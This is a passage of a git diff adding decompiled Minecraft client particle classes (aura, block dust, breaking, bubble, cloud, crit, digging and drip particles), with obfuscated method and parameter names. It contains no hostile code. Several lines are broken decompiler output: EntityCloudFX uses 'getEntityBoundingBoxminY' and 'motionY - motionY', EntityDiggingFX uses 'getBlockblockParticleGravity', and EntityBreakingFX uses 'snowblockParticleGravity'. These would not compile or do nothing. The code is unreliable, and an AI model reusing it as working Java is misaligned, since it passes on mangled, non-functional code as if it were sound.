+    super(worldIn, p_i1232_2_, p_i1232_4_, p_i1232_6_, p_i1232_8_, p_i1232_10_, p_i1232_12_);
+    float var14 = rand.nextFloat() * 0.1F + 0.2F;
+    particleRed = var14;
+    particleGreen = var14;
+    particleBlue = var14;
+    setParticleTextureIndex(0);
+    setSize(0.02F, 0.02F);
+    particleScale *= (rand.nextFloat() * 0.6F + 0.5F);
+    motionX *= 0.019999999552965164D;
+    motionY *= 0.019999999552965164D;
+    motionZ *= 0.019999999552965164D;
+    particleMaxAge = ((int)(20.0D / (Math.random() * 0.8D + 0.2D)));
+    noClip = true;
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    prevPosX = posX;
+    prevPosY = posY;
+    prevPosZ = posZ;
+    moveEntity(motionX, motionY, motionZ);
+    motionX *= 0.99D;
+    motionY *= 0.99D;
+    motionZ *= 0.99D;
+    
+    if (particleMaxAge-- <= 0)
+    {
+      setDead();
+    }
+  }
+  
+  public static class Factory implements IParticleFactory {
+    private static final String __OBFID = "CL_00002577";
+    
+    public Factory() {}
+    
+    public EntityFX func_178902_a(int p_178902_1_, World worldIn, double p_178902_3_, double p_178902_5_, double p_178902_7_, double p_178902_9_, double p_178902_11_, double p_178902_13_, int... p_178902_15_) {
+      return new EntityAuraFX(worldIn, p_178902_3_, p_178902_5_, p_178902_7_, p_178902_9_, p_178902_11_, p_178902_13_);
+    }
+  }
+  
+  public static class HappyVillagerFactory implements IParticleFactory {
+    private static final String __OBFID = "CL_00002578";
+    
+    public HappyVillagerFactory() {}
+    
+    public EntityFX func_178902_a(int p_178902_1_, World worldIn, double p_178902_3_, double p_178902_5_, double p_178902_7_, double p_178902_9_, double p_178902_11_, double p_178902_13_, int... p_178902_15_) {
+      EntityAuraFX var16 = new EntityAuraFX(worldIn, p_178902_3_, p_178902_5_, p_178902_7_, p_178902_9_, p_178902_11_, p_178902_13_);
+      var16.setParticleTextureIndex(82);
+      var16.setRBGColorF(1.0F, 1.0F, 1.0F);
+      return var16;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/particle/EntityBlockDustFX.java b/src/minecraft/net/minecraft/client/particle/EntityBlockDustFX.java
new file mode 100644
index 0000000..9f9f521
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/particle/EntityBlockDustFX.java
@@ -0,0 +1,29 @@
+package net.minecraft.client.particle;
+
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.world.World;
+
+public class EntityBlockDustFX extends EntityDiggingFX
+{
+  private static final String __OBFID = "CL_00000931";
+  
+  protected EntityBlockDustFX(World worldIn, double p_i46281_2_, double p_i46281_4_, double p_i46281_6_, double p_i46281_8_, double p_i46281_10_, double p_i46281_12_, IBlockState p_i46281_14_)
+  {
+    super(worldIn, p_i46281_2_, p_i46281_4_, p_i46281_6_, p_i46281_8_, p_i46281_10_, p_i46281_12_, p_i46281_14_);
+    motionX = p_i46281_8_;
+    motionY = p_i46281_10_;
+    motionZ = p_i46281_12_;
+  }
+  
+  public static class Factory implements IParticleFactory {
+    private static final String __OBFID = "CL_00002576";
+    
+    public Factory() {}
+    
+    public EntityFX func_178902_a(int p_178902_1_, World worldIn, double p_178902_3_, double p_178902_5_, double p_178902_7_, double p_178902_9_, double p_178902_11_, double p_178902_13_, int... p_178902_15_) {
+      IBlockState var16 = Block.getStateById(p_178902_15_[0]);
+      return var16.getBlock().getRenderType() == -1 ? null : new EntityBlockDustFX(worldIn, p_178902_3_, p_178902_5_, p_178902_7_, p_178902_9_, p_178902_11_, p_178902_13_, var16).func_174845_l();
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/particle/EntityBreakingFX.java b/src/minecraft/net/minecraft/client/particle/EntityBreakingFX.java
new file mode 100644
index 0000000..de93c26
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/particle/EntityBreakingFX.java
@@ -0,0 +1,101 @@
+package net.minecraft.client.particle;
+
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.client.renderer.texture.TextureAtlasSprite;
+import net.minecraft.entity.Entity;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.world.World;
+
+public class EntityBreakingFX extends EntityFX
+{
+  private static final String __OBFID = "CL_00000897";
+  
+  protected EntityBreakingFX(World worldIn, double p_i1195_2_, double p_i1195_4_, double p_i1195_6_, Item p_i1195_8_)
+  {
+    this(worldIn, p_i1195_2_, p_i1195_4_, p_i1195_6_, p_i1195_8_, 0);
+  }
+  
+  protected EntityBreakingFX(World worldIn, double p_i1197_2_, double p_i1197_4_, double p_i1197_6_, double p_i1197_8_, double p_i1197_10_, double p_i1197_12_, Item p_i1197_14_, int p_i1197_15_)
+  {
+    this(worldIn, p_i1197_2_, p_i1197_4_, p_i1197_6_, p_i1197_14_, p_i1197_15_);
+    motionX *= 0.10000000149011612D;
+    motionY *= 0.10000000149011612D;
+    motionZ *= 0.10000000149011612D;
+    motionX += p_i1197_8_;
+    motionY += p_i1197_10_;
+    motionZ += p_i1197_12_;
+  }
+  
+  protected EntityBreakingFX(World worldIn, double p_i1196_2_, double p_i1196_4_, double p_i1196_6_, Item p_i1196_8_, int p_i1196_9_)
+  {
+    super(worldIn, p_i1196_2_, p_i1196_4_, p_i1196_6_, 0.0D, 0.0D, 0.0D);
+    func_180435_a(Minecraft.getMinecraft().getRenderItem().getItemModelMesher().getParticleIcon(p_i1196_8_, p_i1196_9_));
+    particleRed = (this.particleGreen = this.particleBlue = 1.0F);
+    particleGravity = snowblockParticleGravity;
+    particleScale /= 2.0F;
+  }
+  
+  public int getFXLayer()
+  {
+    return 1;
+  }
+  
+  public void func_180434_a(WorldRenderer p_180434_1_, Entity p_180434_2_, float p_180434_3_, float p_180434_4_, float p_180434_5_, float p_180434_6_, float p_180434_7_, float p_180434_8_)
+  {
+    float var9 = (particleTextureIndexX + particleTextureJitterX / 4.0F) / 16.0F;
+    float var10 = var9 + 0.015609375F;
+    float var11 = (particleTextureIndexY + particleTextureJitterY / 4.0F) / 16.0F;
+    float var12 = var11 + 0.015609375F;
+    float var13 = 0.1F * particleScale;
+    
+    if (particleIcon != null)
+    {
+      var9 = particleIcon.getInterpolatedU(particleTextureJitterX / 4.0F * 16.0F);
+      var10 = particleIcon.getInterpolatedU((particleTextureJitterX + 1.0F) / 4.0F * 16.0F);
+      var11 = particleIcon.getInterpolatedV(particleTextureJitterY / 4.0F * 16.0F);
+      var12 = particleIcon.getInterpolatedV((particleTextureJitterY + 1.0F) / 4.0F * 16.0F);
+    }
+    
+    float var14 = (float)(prevPosX + (posX - prevPosX) * p_180434_3_ - interpPosX);
+    float var15 = (float)(prevPosY + (posY - prevPosY) * p_180434_3_ - interpPosY);
+    float var16 = (float)(prevPosZ + (posZ - prevPosZ) * p_180434_3_ - interpPosZ);
+    p_180434_1_.func_178986_b(particleRed, particleGreen, particleBlue);
+    p_180434_1_.addVertexWithUV(var14 - p_180434_4_ * var13 - p_180434_7_ * var13, var15 - p_180434_5_ * var13, var16 - p_180434_6_ * var13 - p_180434_8_ * var13, var9, var12);
+    p_180434_1_.addVertexWithUV(var14 - p_180434_4_ * var13 + p_180434_7_ * var13, var15 + p_180434_5_ * var13, var16 - p_180434_6_ * var13 + p_180434_8_ * var13, var9, var11);
+    p_180434_1_.addVertexWithUV(var14 + p_180434_4_ * var13 + p_180434_7_ * var13, var15 + p_180434_5_ * var13, var16 + p_180434_6_ * var13 + p_180434_8_ * var13, var10, var11);
+    p_180434_1_.addVertexWithUV(var14 + p_180434_4_ * var13 - p_180434_7_ * var13, var15 - p_180434_5_ * var13, var16 + p_180434_6_ * var13 - p_180434_8_ * var13, var10, var12);
+  }
+  
+  public static class Factory implements IParticleFactory {
+    private static final String __OBFID = "CL_00002613";
+    
+    public Factory() {}
+    
+    public EntityFX func_178902_a(int p_178902_1_, World worldIn, double p_178902_3_, double p_178902_5_, double p_178902_7_, double p_178902_9_, double p_178902_11_, double p_178902_13_, int... p_178902_15_) {
+      int var16 = p_178902_15_.length > 1 ? p_178902_15_[1] : 0;
+      return new EntityBreakingFX(worldIn, p_178902_3_, p_178902_5_, p_178902_7_, p_178902_9_, p_178902_11_, p_178902_13_, Item.getItemById(p_178902_15_[0]), var16);
+    }
+  }
+  
+  public static class SlimeFactory implements IParticleFactory {
+    private static final String __OBFID = "CL_00002612";
+    
+    public SlimeFactory() {}
+    
+    public EntityFX func_178902_a(int p_178902_1_, World worldIn, double p_178902_3_, double p_178902_5_, double p_178902_7_, double p_178902_9_, double p_178902_11_, double p_178902_13_, int... p_178902_15_) {
+      return new EntityBreakingFX(worldIn, p_178902_3_, p_178902_5_, p_178902_7_, Items.slime_ball);
+    }
+  }
+  
+  public static class SnowballFactory implements IParticleFactory {
+    private static final String __OBFID = "CL_00002611";
+    
+    public SnowballFactory() {}
+    
+    public EntityFX func_178902_a(int p_178902_1_, World worldIn, double p_178902_3_, double p_178902_5_, double p_178902_7_, double p_178902_9_, double p_178902_11_, double p_178902_13_, int... p_178902_15_) {
+      return new EntityBreakingFX(worldIn, p_178902_3_, p_178902_5_, p_178902_7_, Items.snowball);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/particle/EntityBubbleFX.java b/src/minecraft/net/minecraft/client/particle/EntityBubbleFX.java
new file mode 100644
index 0000000..7a830e1
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/particle/EntityBubbleFX.java
@@ -0,0 +1,60 @@
+package net.minecraft.client.particle;
+
+import java.util.Random;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.world.World;
+
+public class EntityBubbleFX extends EntityFX
+{
+  private static final String __OBFID = "CL_00000898";
+  
+  protected EntityBubbleFX(World worldIn, double p_i1198_2_, double p_i1198_4_, double p_i1198_6_, double p_i1198_8_, double p_i1198_10_, double p_i1198_12_)
+  {
+    super(worldIn, p_i1198_2_, p_i1198_4_, p_i1198_6_, p_i1198_8_, p_i1198_10_, p_i1198_12_);
+    particleRed = 1.0F;
+    particleGreen = 1.0F;
+    particleBlue = 1.0F;
+    setParticleTextureIndex(32);
+    setSize(0.02F, 0.02F);
+    particleScale *= (rand.nextFloat() * 0.6F + 0.2F);
+    motionX = (p_i1198_8_ * 0.20000000298023224D + (Math.random() * 2.0D - 1.0D) * 0.019999999552965164D);
+    motionY = (p_i1198_10_ * 0.20000000298023224D + (Math.random() * 2.0D - 1.0D) * 0.019999999552965164D);
+    motionZ = (p_i1198_12_ * 0.20000000298023224D + (Math.random() * 2.0D - 1.0D) * 0.019999999552965164D);
+    particleMaxAge = ((int)(8.0D / (Math.random() * 0.8D + 0.2D)));
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    prevPosX = posX;
+    prevPosY = posY;
+    prevPosZ = posZ;
+    motionY += 0.002D;
+    moveEntity(motionX, motionY, motionZ);
+    motionX *= 0.8500000238418579D;
+    motionY *= 0.8500000238418579D;
+    motionZ *= 0.8500000238418579D;
+    
+    if (worldObj.getBlockState(new net.minecraft.util.BlockPos(this)).getBlock().getMaterial() != net.minecraft.block.material.Material.water)
+    {
+      setDead();
+    }
+    
+    if (particleMaxAge-- <= 0)
+    {
+      setDead();
+    }
+  }
+  
+  public static class Factory implements IParticleFactory {
+    private static final String __OBFID = "CL_00002610";
+    
+    public Factory() {}
+    
+    public EntityFX func_178902_a(int p_178902_1_, World worldIn, double p_178902_3_, double p_178902_5_, double p_178902_7_, double p_178902_9_, double p_178902_11_, double p_178902_13_, int... p_178902_15_) {
+      return new EntityBubbleFX(worldIn, p_178902_3_, p_178902_5_, p_178902_7_, p_178902_9_, p_178902_11_, p_178902_13_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/particle/EntityCloudFX.java b/src/minecraft/net/minecraft/client/particle/EntityCloudFX.java
new file mode 100644
index 0000000..81627f7
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/particle/EntityCloudFX.java
@@ -0,0 +1,85 @@
+package net.minecraft.client.particle;
+
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.world.World;
+
+public class EntityCloudFX extends EntityFX
+{
+  float field_70569_a;
+  private static final String __OBFID = "CL_00000920";
+  
+  protected EntityCloudFX(World worldIn, double p_i1221_2_, double p_i1221_4_, double p_i1221_6_, double p_i1221_8_, double p_i1221_10_, double p_i1221_12_)
+  {
+    super(worldIn, p_i1221_2_, p_i1221_4_, p_i1221_6_, 0.0D, 0.0D, 0.0D);
+    float var14 = 2.5F;
+    motionX *= 0.10000000149011612D;
+    motionY *= 0.10000000149011612D;
+    motionZ *= 0.10000000149011612D;
+    motionX += p_i1221_8_;
+    motionY += p_i1221_10_;
+    motionZ += p_i1221_12_;
+    particleRed = (this.particleGreen = this.particleBlue = 1.0F - (float)(Math.random() * 0.30000001192092896D));
+    particleScale *= 0.75F;
+    particleScale *= var14;
+    field_70569_a = particleScale;
+    particleMaxAge = ((int)(8.0D / (Math.random() * 0.8D + 0.3D)));
+    particleMaxAge = ((int)(particleMaxAge * var14));
+    noClip = false;
+  }
+  
+  public void func_180434_a(WorldRenderer p_180434_1_, Entity p_180434_2_, float p_180434_3_, float p_180434_4_, float p_180434_5_, float p_180434_6_, float p_180434_7_, float p_180434_8_)
+  {
+    float var9 = (particleAge + p_180434_3_) / particleMaxAge * 32.0F;
+    var9 = net.minecraft.util.MathHelper.clamp_float(var9, 0.0F, 1.0F);
+    particleScale = (field_70569_a * var9);
+    super.func_180434_a(p_180434_1_, p_180434_2_, p_180434_3_, p_180434_4_, p_180434_5_, p_180434_6_, p_180434_7_, p_180434_8_);
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    prevPosX = posX;
+    prevPosY = posY;
+    prevPosZ = posZ;
+    
+    if (particleAge++ >= particleMaxAge)
+    {
+      setDead();
+    }
+    
+    setParticleTextureIndex(7 - particleAge * 8 / particleMaxAge);
+    moveEntity(motionX, motionY, motionZ);
+    motionX *= 0.9599999785423279D;
+    motionY *= 0.9599999785423279D;
+    motionZ *= 0.9599999785423279D;
+    EntityPlayer var1 = worldObj.getClosestPlayerToEntity(this, 2.0D);
+    
+    if ((var1 != null) && (posY > getEntityBoundingBoxminY))
+    {
+      posY += (getEntityBoundingBoxminY - posY) * 0.2D;
+      motionY += (motionY - motionY) * 0.2D;
+      setPosition(posX, posY, posZ);
+    }
+    
+    if (onGround)
+    {
+      motionX *= 0.699999988079071D;
+      motionZ *= 0.699999988079071D;
+    }
+  }
+  
+  public static class Factory implements IParticleFactory {
+    private static final String __OBFID = "CL_00002591";
+    
+    public Factory() {}
+    
+    public EntityFX func_178902_a(int p_178902_1_, World worldIn, double p_178902_3_, double p_178902_5_, double p_178902_7_, double p_178902_9_, double p_178902_11_, double p_178902_13_, int... p_178902_15_) {
+      return new EntityCloudFX(worldIn, p_178902_3_, p_178902_5_, p_178902_7_, p_178902_9_, p_178902_11_, p_178902_13_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/particle/EntityCrit2FX.java b/src/minecraft/net/minecraft/client/particle/EntityCrit2FX.java
new file mode 100644
index 0000000..2e7a4aa
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/particle/EntityCrit2FX.java
@@ -0,0 +1,97 @@
+package net.minecraft.client.particle;
+
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.entity.Entity;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+
+public class EntityCrit2FX extends EntityFX
+{
+  float field_174839_a;
+  private static final String __OBFID = "CL_00000899";
+  
+  protected EntityCrit2FX(World worldIn, double p_i46284_2_, double p_i46284_4_, double p_i46284_6_, double p_i46284_8_, double p_i46284_10_, double p_i46284_12_)
+  {
+    this(worldIn, p_i46284_2_, p_i46284_4_, p_i46284_6_, p_i46284_8_, p_i46284_10_, p_i46284_12_, 1.0F);
+  }
+  
+  protected EntityCrit2FX(World worldIn, double p_i46285_2_, double p_i46285_4_, double p_i46285_6_, double p_i46285_8_, double p_i46285_10_, double p_i46285_12_, float p_i46285_14_)
+  {
+    super(worldIn, p_i46285_2_, p_i46285_4_, p_i46285_6_, 0.0D, 0.0D, 0.0D);
+    motionX *= 0.10000000149011612D;
+    motionY *= 0.10000000149011612D;
+    motionZ *= 0.10000000149011612D;
+    motionX += p_i46285_8_ * 0.4D;
+    motionY += p_i46285_10_ * 0.4D;
+    motionZ += p_i46285_12_ * 0.4D;
+    particleRed = (this.particleGreen = this.particleBlue = (float)(Math.random() * 0.30000001192092896D + 0.6000000238418579D));
+    particleScale *= 0.75F;
+    particleScale *= p_i46285_14_;
+    field_174839_a = particleScale;
+    particleMaxAge = ((int)(6.0D / (Math.random() * 0.8D + 0.6D)));
+    particleMaxAge = ((int)(particleMaxAge * p_i46285_14_));
+    noClip = false;
+    setParticleTextureIndex(65);
+    onUpdate();
+  }
+  
+  public void func_180434_a(WorldRenderer p_180434_1_, Entity p_180434_2_, float p_180434_3_, float p_180434_4_, float p_180434_5_, float p_180434_6_, float p_180434_7_, float p_180434_8_)
+  {
+    float var9 = (particleAge + p_180434_3_) / particleMaxAge * 32.0F;
+    var9 = MathHelper.clamp_float(var9, 0.0F, 1.0F);
+    particleScale = (field_174839_a * var9);
+    super.func_180434_a(p_180434_1_, p_180434_2_, p_180434_3_, p_180434_4_, p_180434_5_, p_180434_6_, p_180434_7_, p_180434_8_);
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    prevPosX = posX;
+    prevPosY = posY;
+    prevPosZ = posZ;
+    
+    if (particleAge++ >= particleMaxAge)
+    {
+      setDead();
+    }
+    
+    moveEntity(motionX, motionY, motionZ);
+    particleGreen = ((float)(particleGreen * 0.96D));
+    particleBlue = ((float)(particleBlue * 0.9D));
+    motionX *= 0.699999988079071D;
+    motionY *= 0.699999988079071D;
+    motionZ *= 0.699999988079071D;
+    motionY -= 0.019999999552965164D;
+    
+    if (onGround)
+    {
+      motionX *= 0.699999988079071D;
+      motionZ *= 0.699999988079071D;
+    }
+  }
+  
+  public static class Factory implements IParticleFactory {
+    private static final String __OBFID = "CL_00002608";
+    
+    public Factory() {}
+    
+    public EntityFX func_178902_a(int p_178902_1_, World worldIn, double p_178902_3_, double p_178902_5_, double p_178902_7_, double p_178902_9_, double p_178902_11_, double p_178902_13_, int... p_178902_15_) {
+      return new EntityCrit2FX(worldIn, p_178902_3_, p_178902_5_, p_178902_7_, p_178902_9_, p_178902_11_, p_178902_13_);
+    }
+  }
+  
+  public static class MagicFactory implements IParticleFactory {
+    private static final String __OBFID = "CL_00002609";
+    
+    public MagicFactory() {}
+    
+    public EntityFX func_178902_a(int p_178902_1_, World worldIn, double p_178902_3_, double p_178902_5_, double p_178902_7_, double p_178902_9_, double p_178902_11_, double p_178902_13_, int... p_178902_15_) {
+      EntityCrit2FX var16 = new EntityCrit2FX(worldIn, p_178902_3_, p_178902_5_, p_178902_7_, p_178902_9_, p_178902_11_, p_178902_13_);
+      var16.setRBGColorF(var16.getRedColorF() * 0.3F, var16.getGreenColorF() * 0.8F, var16.getBlueColorF());
+      var16.nextTextureIndexX();
+      return var16;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/particle/EntityCritFX.java b/src/minecraft/net/minecraft/client/particle/EntityCritFX.java
new file mode 100644
index 0000000..78034a9
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/particle/EntityCritFX.java
@@ -0,0 +1,23 @@
+package net.minecraft.client.particle;
+
+import net.minecraft.world.World;
+
+public class EntityCritFX extends EntitySmokeFX
+{
+  private static final String __OBFID = "CL_00000900";
+  
+  protected EntityCritFX(World worldIn, double p_i1201_2_, double p_i1201_4_, double p_i1201_6_, double p_i1201_8_, double p_i1201_10_, double p_i1201_12_)
+  {
+    super(worldIn, p_i1201_2_, p_i1201_4_, p_i1201_6_, p_i1201_8_, p_i1201_10_, p_i1201_12_, 2.5F);
+  }
+  
+  public static class Factory implements IParticleFactory {
+    private static final String __OBFID = "CL_00002596";
+    
+    public Factory() {}
+    
+    public EntityFX func_178902_a(int p_178902_1_, World worldIn, double p_178902_3_, double p_178902_5_, double p_178902_7_, double p_178902_9_, double p_178902_11_, double p_178902_13_, int... p_178902_15_) {
+      return new EntityCritFX(worldIn, p_178902_3_, p_178902_5_, p_178902_7_, p_178902_9_, p_178902_11_, p_178902_13_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/particle/EntityDiggingFX.java b/src/minecraft/net/minecraft/client/particle/EntityDiggingFX.java
new file mode 100644
index 0000000..2e60ffc
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/particle/EntityDiggingFX.java
@@ -0,0 +1,101 @@
+package net.minecraft.client.particle;
+
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.client.renderer.texture.TextureAtlasSprite;
+import net.minecraft.entity.Entity;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class EntityDiggingFX extends EntityFX
+{
+  private IBlockState field_174847_a;
+  private static final String __OBFID = "CL_00000932";
+  
+  protected EntityDiggingFX(World worldIn, double p_i46280_2_, double p_i46280_4_, double p_i46280_6_, double p_i46280_8_, double p_i46280_10_, double p_i46280_12_, IBlockState p_i46280_14_)
+  {
+    super(worldIn, p_i46280_2_, p_i46280_4_, p_i46280_6_, p_i46280_8_, p_i46280_10_, p_i46280_12_);
+    field_174847_a = p_i46280_14_;
+    func_180435_a(Minecraft.getMinecraft().getBlockRendererDispatcher().func_175023_a().func_178122_a(p_i46280_14_));
+    particleGravity = getBlockblockParticleGravity;
+    particleRed = (this.particleGreen = this.particleBlue = 0.6F);
+    particleScale /= 2.0F;
+  }
+  
+  public EntityDiggingFX func_174846_a(BlockPos p_174846_1_)
+  {
+    if (field_174847_a.getBlock() == net.minecraft.init.Blocks.grass)
+    {
+      return this;
+    }
+    
+
+    int var2 = field_174847_a.getBlock().colorMultiplier(worldObj, p_174846_1_);
+    particleRed *= (var2 >> 16 & 0xFF) / 255.0F;
+    particleGreen *= (var2 >> 8 & 0xFF) / 255.0F;
+    particleBlue *= (var2 & 0xFF) / 255.0F;
+    return this;
+  }
+  
+
+  public EntityDiggingFX func_174845_l()
+  {
+    Block var1 = field_174847_a.getBlock();
+    
+    if (var1 == net.minecraft.init.Blocks.grass)
+    {
+      return this;
+    }
+    
+
+    int var2 = var1.getRenderColor(field_174847_a);
+    particleRed *= (var2 >> 16 & 0xFF) / 255.0F;
+    particleGreen *= (var2 >> 8 & 0xFF) / 255.0F;
+    particleBlue *= (var2 & 0xFF) / 255.0F;
+    return this;
+  }
+  
+
+  public int getFXLayer()
+  {
+    return 1;
+  }
+  
+  public void func_180434_a(WorldRenderer p_180434_1_, Entity p_180434_2_, float p_180434_3_, float p_180434_4_, float p_180434_5_, float p_180434_6_, float p_180434_7_, float p_180434_8_)
+  {
+    float var9 = (particleTextureIndexX + particleTextureJitterX / 4.0F) / 16.0F;
+    float var10 = var9 + 0.015609375F;
+    float var11 = (particleTextureIndexY + particleTextureJitterY / 4.0F) / 16.0F;
+    float var12 = var11 + 0.015609375F;
+    float var13 = 0.1F * particleScale;
+    
+    if (particleIcon != null)
+    {
+      var9 = particleIcon.getInterpolatedU(particleTextureJitterX / 4.0F * 16.0F);
+      var10 = particleIcon.getInterpolatedU((particleTextureJitterX + 1.0F) / 4.0F * 16.0F);
+      var11 = particleIcon.getInterpolatedV(particleTextureJitterY / 4.0F * 16.0F);
+      var12 = particleIcon.getInterpolatedV((particleTextureJitterY + 1.0F) / 4.0F * 16.0F);
+    }
+    
+    float var14 = (float)(prevPosX + (posX - prevPosX) * p_180434_3_ - interpPosX);
+    float var15 = (float)(prevPosY + (posY - prevPosY) * p_180434_3_ - interpPosY);
+    float var16 = (float)(prevPosZ + (posZ - prevPosZ) * p_180434_3_ - interpPosZ);
+    p_180434_1_.func_178986_b(particleRed, particleGreen, particleBlue);
+    p_180434_1_.addVertexWithUV(var14 - p_180434_4_ * var13 - p_180434_7_ * var13, var15 - p_180434_5_ * var13, var16 - p_180434_6_ * var13 - p_180434_8_ * var13, var9, var12);
+    p_180434_1_.addVertexWithUV(var14 - p_180434_4_ * var13 + p_180434_7_ * var13, var15 + p_180434_5_ * var13, var16 - p_180434_6_ * var13 + p_180434_8_ * var13, var9, var11);
+    p_180434_1_.addVertexWithUV(var14 + p_180434_4_ * var13 + p_180434_7_ * var13, var15 + p_180434_5_ * var13, var16 + p_180434_6_ * var13 + p_180434_8_ * var13, var10, var11);
+    p_180434_1_.addVertexWithUV(var14 + p_180434_4_ * var13 - p_180434_7_ * var13, var15 - p_180434_5_ * var13, var16 + p_180434_6_ * var13 - p_180434_8_ * var13, var10, var12);
+  }
+  
+  public static class Factory implements IParticleFactory {
+    private static final String __OBFID = "CL_00002575";
+    
+    public Factory() {}
+    
+    public EntityFX func_178902_a(int p_178902_1_, World worldIn, double p_178902_3_, double p_178902_5_, double p_178902_7_, double p_178902_9_, double p_178902_11_, double p_178902_13_, int... p_178902_15_) {
+      return new EntityDiggingFX(worldIn, p_178902_3_, p_178902_5_, p_178902_7_, p_178902_9_, p_178902_11_, p_178902_13_, Block.getStateById(p_178902_15_[0])).func_174845_l();
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/particle/EntityDropParticleFX.java b/src/minecraft/net/minecraft/client/particle/EntityDropParticleFX.java
new file mode 100644
index 0000000..5657023
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/particle/EntityDropParticleFX.java
@@ -0,0 +1,163 @@
+package net.minecraft.client.particle;
+
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockLiquid;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+
+
+public class EntityDropParticleFX
+  extends EntityFX
+{
+  private Material materialType;
+  private int bobTimer;
+  private static final String __OBFID = "CL_00000901";
+  
+  protected EntityDropParticleFX(World worldIn, double p_i1203_2_, double p_i1203_4_, double p_i1203_6_, Material p_i1203_8_)
+  {
+    super(worldIn, p_i1203_2_, p_i1203_4_, p_i1203_6_, 0.0D, 0.0D, 0.0D);
+    motionX = (this.motionY = this.motionZ = 0.0D);
+    
+    if (p_i1203_8_ == Material.water)
+    {
+      particleRed = 0.0F;
+      particleGreen = 0.0F;
+      particleBlue = 1.0F;
+    }
+    else
+    {
+      particleRed = 1.0F;
+      particleGreen = 0.0F;
+      particleBlue = 0.0F;
+    }
+    
+    setParticleTextureIndex(113);
+    setSize(0.01F, 0.01F);
+    particleGravity = 0.06F;
+    materialType = p_i1203_8_;
+    bobTimer = 40;
+    particleMaxAge = ((int)(64.0D / (Math.random() * 0.8D + 0.2D)));
+    motionX = (this.motionY = this.motionZ = 0.0D);
+  }
+  
+  public int getBrightnessForRender(float p_70070_1_)
+  {
+    return materialType == Material.water ? super.getBrightnessForRender(p_70070_1_) : 257;
+  }
+  
+
+
+
+  public float getBrightness(float p_70013_1_)
+  {
+    return materialType == Material.water ? super.getBrightness(p_70013_1_) : 1.0F;
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    prevPosX = posX;
+    prevPosY = posY;
+    prevPosZ = posZ;
+    
+    if (materialType == Material.water)
+    {
+      particleRed = 0.2F;
+      particleGreen = 0.3F;
+      particleBlue = 1.0F;
+    }
+    else
+    {
+      particleRed = 1.0F;
+      particleGreen = (16.0F / (40 - bobTimer + 16));
+      particleBlue = (4.0F / (40 - bobTimer + 8));
+    }
+    
+    motionY -= particleGravity;
+    
+    if (bobTimer-- > 0)
+    {
+      motionX *= 0.02D;
+      motionY *= 0.02D;
+      motionZ *= 0.02D;
+      setParticleTextureIndex(113);
+    }
+    else
+    {
+      setParticleTextureIndex(112);
+    }
+    
+    moveEntity(motionX, motionY, motionZ);
+    motionX *= 0.9800000190734863D;
+    motionY *= 0.9800000190734863D;
+    motionZ *= 0.9800000190734863D;
+    
+    if (particleMaxAge-- <= 0)
+    {
+      setDead();
+    }
+    
+    if (onGround)
+    {
+      if (materialType == Material.water)
+      {
+        setDead();
+        worldObj.spawnParticle(EnumParticleTypes.WATER_SPLASH, posX, posY, posZ, 0.0D, 0.0D, 0.0D, new int[0]);
+      }
+      else
+      {
+        setParticleTextureIndex(114);
+      }
+      
+      motionX *= 0.699999988079071D;
+      motionZ *= 0.699999988079071D;
+    }
+    
+    BlockPos var1 = new BlockPos(this);
+    IBlockState var2 = worldObj.getBlockState(var1);
+    Material var3 = var2.getBlock().getMaterial();
+    
+    if ((var3.isLiquid()) || (var3.isSolid()))
+    {
+      double var4 = 0.0D;
+      
+      if ((var2.getBlock() instanceof BlockLiquid))
+      {
+        var4 = BlockLiquid.getLiquidHeightPercent(((Integer)var2.getValue(BlockLiquid.LEVEL)).intValue());
+      }
+      
+      double var6 = MathHelper.floor_double(posY) + 1 - var4;
+      
+      if (posY < var6)
+      {
+        setDead();
+      }
+    }
+  }
+  
+  public static class LavaFactory implements IParticleFactory {
+    private static final String __OBFID = "CL_00002607";
+    
+    public LavaFactory() {}
+    
+    public EntityFX func_178902_a(int p_178902_1_, World worldIn, double p_178902_3_, double p_178902_5_, double p_178902_7_, double p_178902_9_, double p_178902_11_, double p_178902_13_, int... p_178902_15_) {
+      return new EntityDropParticleFX(worldIn, p_178902_3_, p_178902_5_, p_178902_7_, Material.lava);
+    }
+  }
+  
+  public static class WaterFactory implements IParticleFactory {
+    private static final String __OBFID = "CL_00002606";
+    
+    public WaterFactory() {}
+    
